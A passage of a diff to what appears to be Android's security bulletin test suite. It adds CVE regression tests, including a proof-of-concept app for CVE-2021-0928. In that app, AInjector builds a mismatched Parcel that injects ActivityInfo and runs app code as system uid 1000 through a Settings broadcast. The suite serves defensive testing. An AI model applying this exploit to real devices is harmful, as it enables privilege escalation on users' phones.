+ @AsbSecurityTest(cveBugId = 189942532)
+ @Test
+ public void testPocCVE_2021_0956() throws Exception {
+ pocPusher.only64();
+ ITestDevice device = getDevice();
+ AdbUtils.assumeHasNfc(device);
+ assumeIsSupportedNfcDevice(device);
+ String binaryName = "CVE-2021-0956";
+ String signals[] = {CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, device);
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
new file mode 100644
index 00000000000..a242904c0c2
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -0,0 +1,54 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import java.util.regex.Pattern;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0965 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0965";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0965.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ /**
+ * b/194300867
+ */
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 194300867)
+ @Test
+ public void testPocCVE_2021_0965() throws Exception {
+ installPackage(TEST_APP, new String[0]);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission");
+ String errorLog = "Vulnerable to b/194300867 !!";
+ String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice());
+ Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE);
+ assertFalse(pattern.matcher(logcat).find());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
new file mode 100644
index 00000000000..bfa056b2311
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_1906 extends SecurityTestCase {
+
+ /**
+ * CVE-2021-1906
+ */
+ @AsbSecurityTest(cveBugId = 178810049)
+ @Test
+ public void testPocCVE_2021_1906() throws Exception {
+ assumeTrue(containsDriver(getDevice(), "/dev/kgsl-3d0"));
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-1906", getDevice(), 60);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
index 9103c966cbf..891bd181084 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
@@ -109,6 +109,13 @@ public class DeviceTest {
//in "Browse Files in Other Apps" activity
searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000);
+
+ //Image is chosen as (evilActivity) so we are getting back to
+ //"Profile Info" dialog window showing clickable user silhouette
+ //end "Cancel" and "OK" buttons.
+ //look for "Cancel button and click it"
+ searchAndClick(mDevice, "Cancel", 2000);
+
} catch (ClickableNotFound e){
Log.d(TAG, e.toString());
assumeNoException(e);
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
index 987b161766f..0f424617560 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
@@ -1,5 +1,6 @@
package android.security.cts.CVE_2021_0921;
+import android.content.ActivityNotFoundException;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -9,6 +10,8 @@ import android.util.Log;
import java.io.File;
+import static org.junit.Assume.assumeNoException;
+
public class Trigger {
private static final String TAG = "TAG_2021_0921.Triggger";
private Context mContext;
@@ -35,7 +38,12 @@ public class Trigger {
String authTypes[] = {"android.security.cts"};
intent.putExtra("account_types", authTypes);
- mContext.startActivity(intent);
+
+ try {
+ mContext.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ // activity does not exist on this device
+ }
Log.d(TAG, "accountSettings() end");
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
new file mode 100644
index 00000000000..ce841a44fdf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CVE-2021-0928",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ platform_apis: true,
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ "androidx.appcompat_appcompat",
+ ],
+ sdk_version: "current",
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/AndroidManifest.xml
new file mode 100644
index 00000000000..cd2c6075005
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_0928"
+ android:targetSandboxVersion="2">
+
+ <application
+ android:allowBackup="true"
+ android:label="cve20210928"
+ android:supportsRtl="true">
+
+ <uses-library android:name="android.test.runner"/>
+
+ <activity android:name=".MainActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0928" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/res/layout/activity_main.xml
new file mode 100644
index 00000000000..0eb5fe07fd1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/res/layout/activity_main.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/AInjector.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/AInjector.java
new file mode 100644
index 00000000000..03e94d0f7f4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/AInjector.java
@@ -0,0 +1,296 @@
+package android.security.cts.CVE_2021_0928;
+
+import android.annotation.SuppressLint;
+import android.content.ClipData;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageItemInfo;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.text.TextUtils;
+import android.util.SparseArray;
+
+import com.android.server.pm.PackageManagerException;
+
+import java.io.Serializable;
+
+@SuppressLint({"ParcelCreator", "ParcelClassLoader"})
+public class AInjector implements Serializable, Parcelable {
+
+ private static final String TAG = "TAG_2021_0928.AInjector";
+ private static final int VAL_BUNDLE = 3;
+ private static final int VAL_PARCELABLE = 4;
+ private static final int VAL_SERIALIZABLE = 21;
+ private static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
+
+ private boolean mDetectRewind;
+ private int mRewind;
+
+ static ActivityInfo sInjectedInfo;
+
+ public static ClipData createClipData() {
+ Parcel parcel = Parcel.obtain();
+
+ AInjector injector = new AInjector();
+ injector.mRewind = doDetectRewind();
+
+ parcel.writeString("android.content.ClipData");
+ beginClipData(parcel);
+ // splitDependencies SparseArray
+ parcel.writeInt(1); // Number of key-value pairs
+ parcel.writeInt(0); // Key
+ parcel.writeInt(VAL_SERIALIZABLE); // Value type
+ parcel.writeSerializable(injector);
+ finishClipData(parcel);
+
+ int a = parcel.dataPosition();
+ parcel.writeInt(0);
+ parcel.setDataPosition(0);
+ ClipData clipData = parcel.readParcelable(null);
+ int b = parcel.dataPosition();
+ parcel.recycle();
+ return clipData;
+ }
+
+ /**
+ * Write to {@link Parcel} data for {@link ClipData} up to (excluding) {@link
+ * android.content.pm.ApplicationInfo}{@code .splitDependencies} which is written through {@link
+ * Parcel#writeSparseArray(SparseArray)} which uses {@link Parcel#writeValue(Object)}.
+ */
+ private static void beginClipData(Parcel dest) {
+ // Begin ClipData
+ // Begin mClipDescription
+ TextUtils.writeToParcel(null, dest, 0); // mLabel
+ dest.writeStringArray(new String[0]); // mMimeTypes
+ dest.writePersistableBundle(null); // mExtras
+ dest.writeLong(0); // mTimeStamp
+ dest.writeBoolean(false); // mIsStyledText
+ dest.writeInt(0); // mClassificationStatus
+ dest.writeBundle(new Bundle()); // mEntityConfidence
+ // End mClipDescription
+ dest.writeInt(0); // mIcon == null
+ dest.writeInt(1); // mItems.size()
+ // Begin mItems.get(0)
+ TextUtils.writeToParcel(null, dest, 0); // mText
+ dest.writeString(null); // mHtmlText
+ dest.writeInt(0); // mIntent == null
+ dest.writeInt(0); // mUri == null
+ dest.writeInt(1); // mActivityInfo != null
+ // Begin mActivityInfo
+ // Begin ComponentInfo
+ new PackageItemInfo().writeToParcel(dest, 0);
+ // Begin ApplicationInfo
+ dest.writeInt(0); // readSquashed offset==0 (not squashed)
+ new PackageItemInfo().writeToParcel(dest, 0);
+ dest.writeString(null); // taskAffinity
+ dest.writeString(null); // permission
+ dest.writeString(null); // processName
+ dest.writeString(null); // className
+ dest.writeInt(0); // theme
+ dest.writeInt(0); // flags
+ dest.writeInt(0); // privateFlags
+ dest.writeInt(0); // requiresSmallestWidthDp
+ dest.writeInt(0); // compatibleWidthLimitDp
+ dest.writeInt(0); // largestWidthLimitDp
+ dest.writeInt(0); // storageUuid == null
+ dest.writeString(null); // scanSourceDir
+ dest.writeString(null); // scanPublicSourceDir
+ dest.writeString(null); // sourceDir
+ dest.writeString(null); // publicSourceDir
+ dest.writeStringArray(null); // splitNames
+ dest.writeStringArray(null); // splitSourceDirs
+ dest.writeStringArray(null); // splitPublicSourceDirs
+ }
+
+ /**
+ * Continue writing {@link ClipData} started through {@link #beginClipData(Parcel)}, after
+ * writing {@link SparseArray} (which must be written by caller and isn't written by neither
+ * {@link #beginClipData(Parcel)} nor this method.
+ */
+ private static void finishClipData(Parcel parcel) {
+ parcel.writeString(null); // nativeLibraryDir
+ parcel.writeString(null); // secondaryNativeLibraryDir
+ parcel.writeString(null); // nativeLibraryRootDir
+ parcel.writeInt(0); // nativeLibraryRootRequiresIsa
+ parcel.writeString(null); // primaryCpuAbi
+ parcel.writeString(null); // secondaryCpuAbi
+ parcel.writeStringArray(null); // resourceDirs
+ parcel.writeStringArray(null); // overlayPaths
+ parcel.writeString(null); // seInfo
+ parcel.writeString(null); // seInfoUser
+ parcel.writeStringArray(null); // sharedLibraryFiles
+ parcel.writeTypedList(null); // sharedLibraryInfos
+ parcel.writeString(null); // dataDir
+ parcel.writeString(null); // deviceProtectedDataDir
+ parcel.writeString(null); // credentialProtectedDataDir
+ parcel.writeInt(0); // uid
+ parcel.writeInt(0); // minSdkVersion
+ parcel.writeInt(0); // targetSdkVersion
+ parcel.writeLong(0); // longVersionCode
+ parcel.writeInt(0); // enabled
+ parcel.writeInt(0); // enabledSetting
+ parcel.writeInt(0); // installLocation
+ parcel.writeString(null); // manageSpaceActivityName
+ parcel.writeString(null); // backupAgentName
+ parcel.writeInt(0); // descriptionRes
+ parcel.writeInt(0); // uiOptions
+ parcel.writeInt(0); // fullBackupContent
+ parcel.writeInt(0); // dataExtractionRulesRes
+ parcel.writeBoolean(false); // crossProfile
+ parcel.writeInt(0); // networkSecurityConfigRes
+ parcel.writeInt(0); // category
+ parcel.writeInt(0); // targetSandboxVersion
+ parcel.writeString(null); // classLoaderName
+ parcel.writeStringArray(null); // splitClassLoaderNames
+ parcel.writeInt(0); // compileSdkVersion
+ parcel.writeString(null); // compileSdkVersionCodename
+ parcel.writeString(null); // appComponentFactory
+ parcel.writeInt(0); // iconRes
+ parcel.writeInt(0); // roundIconRes
+ parcel.writeInt(0); // mHiddenApiPolicy
+ parcel.writeInt(0); // hiddenUntilInstalled
+ parcel.writeString(null); // zygotePreloadName
+ parcel.writeInt(0); // gwpAsanMode
+ parcel.writeInt(0); // memtagMode
+ parcel.writeInt(0); // nativeHeapZeroInit
+ parcel.writeInt(0); // requestOptimizedExternalStorageAccess
+ // End ApplicationInfo
+ parcel.writeString(null); // processName
+ parcel.writeString(null); // splitName
+ parcel.writeInt(0); // descriptionRes
+ parcel.writeInt(0); // enabled
+ parcel.writeInt(0); // exported
+ parcel.writeInt(0); // directBootAware
+ // End ComponentInfo
+ parcel.writeInt(0); // theme
+ parcel.writeInt(0); // launchMode
+ parcel.writeInt(0); // documentLaunchMode
+ parcel.writeString(null); // permission
+ parcel.writeString(null); // taskAffinity
+ parcel.writeString(null); // targetActivity
+ parcel.writeString(null); // launchToken
+ parcel.writeInt(0); // flags
+ parcel.writeInt(0); // privateFlags
+ parcel.writeInt(0); // screenOrientation
+ parcel.writeInt(0); // configChanges
+ parcel.writeInt(0); // softInputMode
+ parcel.writeInt(0); // uiOptions
+ parcel.writeString(null); // parentActivityName
+ parcel.writeInt(0); // persistableMode
+ parcel.writeInt(0); // maxRecents
+ parcel.writeInt(0); // lockTaskLaunchMode
+ parcel.writeInt(0); // windowLayout == null
+ parcel.writeInt(0); // resizeMode
+ parcel.writeString(null); // requestedVrComponent
+ parcel.writeInt(0); // rotationAnimation
+ parcel.writeInt(0); // colorMode
+ parcel.writeFloat(0); // mMaxAspectRatio
+ parcel.writeFloat(0); // mMinAspectRatio
+ parcel.writeBoolean(false); // supportsSizeChanges
+ parcel.writeStringArray(null); // attributionTags
+ // End mActivityInfo
+ parcel.writeInt(0); // mTextLinks == null
+ // End mItems.get(0)
+ // End ClipData
+ }
+
+ /**
+ * Detect number of bytes we need to go back with {@link Parcel#setDataPosition(int)} in order
+ * to overwrite class name written previously by {@link Parcel#writeParcelable(Parcelable, int)}
+ */
+ private static int doDetectRewind() {
+ AInjector injector = new AInjector();
+ injector.mDetectRewind = true;
+ Parcel parcel = Parcel.obtain();
+ parcel.writeParcelable(injector, 0);
+ parcel.recycle();
+ return injector.mRewind;
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @Override
+ public void writeToParcel(Parcel dest, int flags) {
+ if (mDetectRewind) {
+ mRewind = dest.dataPosition();
+ return;
+ }
+ dest.setDataPosition(dest.dataPosition() - mRewind);
+ dest.writeString("android.service.notification.ZenPolicy");
+ // Begin ZenPolicy
+ dest.writeInt(0); // mPriorityCategories.size()
+ dest.writeInt(1); // mVisualEffects.size()
+ dest.writeInt(VAL_PARCELABLE);
+ dest.writeString("android.hardware.camera2.params.OutputConfiguration");
+ // Begin OutputConfiguration
+ dest.writeInt(0); // mRotation
+ dest.writeInt(0); // mSurfaceGroupId
+ dest.writeInt(0); // mSurfaceType
+ dest.writeInt(0); // mConfiguredSize.mWidth
+ dest.writeInt(0); // mConfiguredSize.mHeight
+ dest.writeInt(0); // mIsDeferredConfig
+ dest.writeInt(0); // mIsShared
+ dest.writeInt(0); // mSurfaces.size()
+ dest.writeString(null); // mPhysicalCameraId
+ dest.writeInt(0); // mIsMultiResolution
+ dest.writeInt(2); // mSensorPixelModesUsed.size()
+ // Begin mSensorPixelModesUsed.get(0)
+ dest.writeInt(VAL_PARCELABLE);
+ dest.writeString("android.window.WindowContainerTransaction");
+ dest.writeInt(0); // mChanges.size()
+ dest.writeInt(1); // mHierarchyOps.size()
+ dest.writeInt(VAL_SERIALIZABLE);
+ dest.writeSerializable(new PackageManagerException());
+ // End mSensorPixelModesUsed.get(0)
+ // Begin mSensorPixelModesUsed.get(1)
+ dest.writeInt(VAL_BUNDLE);
+ int bundleLengthPos = dest.dataPosition();
+ dest.writeInt(0); // Will hold length
+ dest.writeInt(BUNDLE_MAGIC);
+ int bundleStartPos = dest.dataPosition();
+ writeFinalPayload(dest);
+ int bundleEndPos = dest.dataPosition();
+ // Begin Patch bundle size
+ dest.setDataPosition(bundleLengthPos);
+ dest.writeInt(bundleEndPos - bundleStartPos);
+ dest.setDataPosition(bundleEndPos);
+ // End Patch bundle size
+ // End mSensorPixelModesUsed.get(1)
+ // End OutputConfiguration
+ dest.writeInt(0); // mPriorityCalls
+ dest.writeInt(0); // mPriorityMessages
+ dest.writeInt(0); // mConversationSenders
+ // End ZenPolicy
+ }
+
+ private void writeFinalPayload(Parcel dest) {
+ // Finish ClipData
+ finishClipData(dest);
+ // Finish Intent
+ dest.writeInt(0); // mContentUserHint
+ dest.writeBundle(null); // mExtras
+
+ // in ActivityInfo info
+ dest.writeInt(1); // != null
+ sInjectedInfo.writeToParcel(dest, 0);
+
+ // in CompatibilityInfo compatInfo
+ dest.writeInt(0); // == null
+
+ // int resultCode
+ dest.writeInt(0); // == null
+ // in String data
+ dest.writeString(null);
+ // in Bundle extras
+ dest.writeInt(0); // == null
+ // boolean sync
+ dest.writeInt(0); // false
+ // int sendingUser
+ dest.writeInt(0);
+ // int processState
+ dest.writeInt(0);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/DeviceTest.java
new file mode 100644
index 00000000000..f129d9373bf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/DeviceTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0928;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
+import android.util.Log;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.UiDevice;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final String TAG = "TAG_2021_0928.DeviceTest";
+ private UiDevice mDevice;
+
+ @Test
+ public void test() {
+ Log.d(TAG, "test() start");
+
+ // set mDevice and go to homescreen
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mDevice.pressHome();
+ Context context = getApplicationContext();
+ String TEST_PACKAGE = "android.security.cts.CVE_2021_0928";
+ PackageManager packageManager = context.getPackageManager();
+
+ // start poc app
+ Intent intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ Log.d(TAG, "test(): Activity started");
+
+ // wait 30 seconds for poc app to complete
+ SystemClock.sleep(30000);
+ Log.d(TAG, "test() end");
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/MainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/MainActivity.java
new file mode 100644
index 00000000000..41397d7c712
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/MainActivity.java
@@ -0,0 +1,85 @@
+package android.security.cts.CVE_2021_0928;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.os.Process;
+import android.util.Log;
+import org.junit.Assert;
+
+import static org.junit.Assert.assertNotEquals;
+
+public class MainActivity extends Activity {
+
+ private static final String TAG = "TAG_2021_0928.MainActivity";
+
+ BroadcastReceiver broadcastReceiver =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.d(TAG, "onReceive()");
+ int uid = intent.getIntExtra("uid", 0);
+ Log.d(TAG, "onReceive() received uid=" + uid);
+ assertNotEquals("UID should not be escalated. Device is vulnerable", uid, 1000);
+ }
+ };
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Log.d(
+ TAG,
+ "onCreate() start. Process.myUid()="
+ + Process.myUid()
+ + " Process.myPid()="
+ + Process.myPid());
+
+ // receiver to get signal from Privilege escalation
+ registerReceiver(broadcastReceiver, new IntentFilter("TAG_2021_0928"));
+
+ setContentView(R.layout.activity_main);
+ ComponentName component =
+ new ComponentName(
+ "com.android.settings", "com.android.settings.SettingsInitialize");
+
+ try {
+ ActivityInfo info = getPackageManager().getReceiverInfo(component, 0);
+ info.applicationInfo.packageName = getPackageName();
+ info.applicationInfo.sourceDir = getApplicationInfo().sourceDir;
+ info.applicationInfo.appComponentFactory = null;
+ AInjector.sInjectedInfo = info;
+ } catch (PackageManager.NameNotFoundException e) {
+ Log.d(TAG, e.toString());
+ assumeNoException(e);
+ }
+
+ Intent intent = new Intent();
+ intent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+ intent.setComponent(component);
+ intent.setClipData(AInjector.createClipData());
+
+ // on vulnerable device sendBroadcast(intent) does not execute
+ // com.android.settings.SettingsInitialize.onReceive()
+ sendBroadcast(intent);
+ Log.d(TAG, "onCreate() end()");
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+ Log.d(
+ TAG,
+ "onStop() start. Process.myUid()="
+ + Process.myUid()
+ + " Process.myPid()="
+ + Process.myPid());
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/server/pm/PackageManagerException.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/server/pm/PackageManagerException.java
new file mode 100644
index 00000000000..a56b82ed484
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/server/pm/PackageManagerException.java
@@ -0,0 +1,5 @@
+package com.android.server.pm;
+
+public class PackageManagerException extends Exception {
+ static final long serialVersionUID = -2840575793016687751L;
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/settings/SettingsInitialize.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/settings/SettingsInitialize.java
new file mode 100644
index 00000000000..ce5348b93c6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/settings/SettingsInitialize.java
@@ -0,0 +1,39 @@
+package com.android.settings;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.os.Process;
+import android.util.Log;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.reflect.Field;
+
+public class SettingsInitialize extends BroadcastReceiver {
+
+ private static final String TAG = "TAG_2021_0928.BroadcastReceiver";
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+
+ Log.d(
+ TAG,
+ "onReceive() start. Process.myUid()="
+ + Process.myUid()
+ + " Process.myPid()="
+ + Process.myPid());
+ Log.v("Shellcode", "Hello from uid=" + Process.myUid());
+
+ // Send notification to test app
+ Intent i = new Intent("TAG_2021_0928");
+ i.putExtra("uid", Process.myUid());
+ context.sendBroadcast(i);
+ Log.d(TAG, "onReceive() end");
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
new file mode 100644
index 00000000000..ab1f6278b4f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+android_test_helper_app {
+ name: "CVE-2021-0965",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/AndroidManifest.xml
new file mode 100644
index 00000000000..ae1d2f9ed5e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
